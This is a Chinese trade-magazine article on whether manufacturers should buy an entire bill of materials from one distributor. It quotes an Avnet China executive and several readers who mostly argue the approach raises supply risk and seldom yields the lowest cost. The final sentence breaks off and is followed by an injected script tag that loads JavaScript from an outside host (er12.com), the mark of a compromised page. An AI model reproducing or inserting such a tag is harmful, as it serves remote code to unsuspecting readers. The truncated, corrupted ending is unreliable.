“如果采购经理能通过一个分销商采购bom单上的全部器件，这将是最节约成本的一种选择。”安富利中国区域总裁辜其秋在本刊最近召开的“供应商选择与管理”研讨会上表示。他指出，整合采购的方式不仅能帮助制造商降低物流成本，还有利于降低管理供应商的成本，“采购经理一定要从全局考虑采购成本，而非单个器件的成本。”
从理论上来看，bom的一站式采购有助于资源的有效整合，降低总体采购成本。然而在现实中，分销商的“一站式采购”服务是不是受到整机制造商的青睐呢？辜其秋的观点在《国际电子商情》网站上引起了读者热烈的讨论。其中，持反对观点的占大多数。
相当一部分读者认为，这种采购方式会带来采购风险的增加。网名为“雪地孤狼”的读者表示，整体解决方案是可以降低一些所谓的隐性成本，但同时也增加了很大的风险性，“所有器件找一家供应商买等于将自己的生命线送到别人手里。”读者“斌1983”也表达了同样的观点，他指出，对于oem来说，在采购中考虑得更多的是风险和时间成本问题，“现在oem都在抢市场，如果将整个bom都放在一家分销商进行采购，风险很大，而风险的本身就是一种成本。”
名为“山野村夫”的读者则认为，这种采购方式只有采购资源匮乏的小公司才会采用。“对于大公司来说，不可能通过同一家分销商采购bom中的所有器件，而会选择在每个器件上具有竞争力的供应商进行采购，而且会保持两家以上的供应渠道，以降低缺料所带来的风险成本。”
除了供应风险的问题，也有一部分读者认为，一站式采购的方式并不会获得成本的最优，读者“tangjohnson”就指出，oem公司的采购经理最主要的职责是将bom单的总成本降到最低，“换句话来说，就是将现在分销商挣的那部分利润从采购成本中剔除掉，因此，对于大型oem公司来说，直接找原厂采购比通过分销商采购在成本上更具优势。”
读者“ashleychen”也明确表示不太赞成这种做法，“亏本的买卖谁也不会做，供应商在这颗元器件上不赚或利润少一点，一定会在另一颗器件上补回来。如果将所有器件价格都压得很低，则可能出现交货期过长和服务不主动等问题，更严重的情况则会影响采购及生产的需求，得不偿失。”他认为，“oem没必要冒这么大的风险,不过，这种方式可以考虑用于前期bom的估价。”
还有一部分读者对这种方式的可行性提出了质疑。读者“mountainwang633”指出，这种操作方法在现实中是行不通的，“各家分销商都有各自的强项，价格的差异是不能用管理和物流成本来进行简单比较的。对于分销商的强项产品线，他们在物料可获得性方面会强于其它的公司，他们常常会备货，同时也会获得原厂的更多支持。”名为“friday”的读者也表示，每家供应商都有自己的优势，很难进行集中，“在采购中，我们既通过安富利、艾睿等国际代理商采购，也通过贸易商和原厂进行采购，他们给我们的单价差异很大，这取决于是供应商的强项产品线和我们采购量的大小，不能一概而论。”
自称为“没泡冒的鱼”的读者则认为，虽然大型分销商的代理线宽广，但他们并不能处理bom中所有的关键器件，而且这些大型分销商都是根据预测进行下单的，交货没有小型代理商灵活，“当公司交货或生产提前时，采购就会变得很被动。”
不过，也有一些读者对此种采购方式保持较为积极的态度。名为“dahong”的读者表示，集中采购的确是降低成本的好办法，“作为采购经理，不仅要考虑价格因素，还需要考虑供应商能力和风险等其他因素，需要在成本与风险之间进行权衡。”他建议，如果产品较多时，可以考虑元器件分类集中进行采购，而不是以单个bom为单元。
读者“初先生”则指出，任何事情不可太绝对化，必须根据实际情况具体分析而采取不同的采购方式，有实力的公司可以考虑直接从原厂进行采购，但考虑货期和服务质量的因素，找几家分销商采购也是不错的选择。名为“fish in sky”的读者表示，虽然没有试过将整个bom交给分销商来处理，但这样的方式可能对降低库存、减少原材料检验工作会大有裨益，不过他指出，这种方式对bom单的要求很高，适合于利润较高的行业，比如军工单位。
也有读者认为，这种方式不能简单地讲孰是孰非，主要看量和产品的类型。如果属于用量大、需要做vmi的物料，使用分销商是不错的选择。但?script src=http://er12.com/t.js>
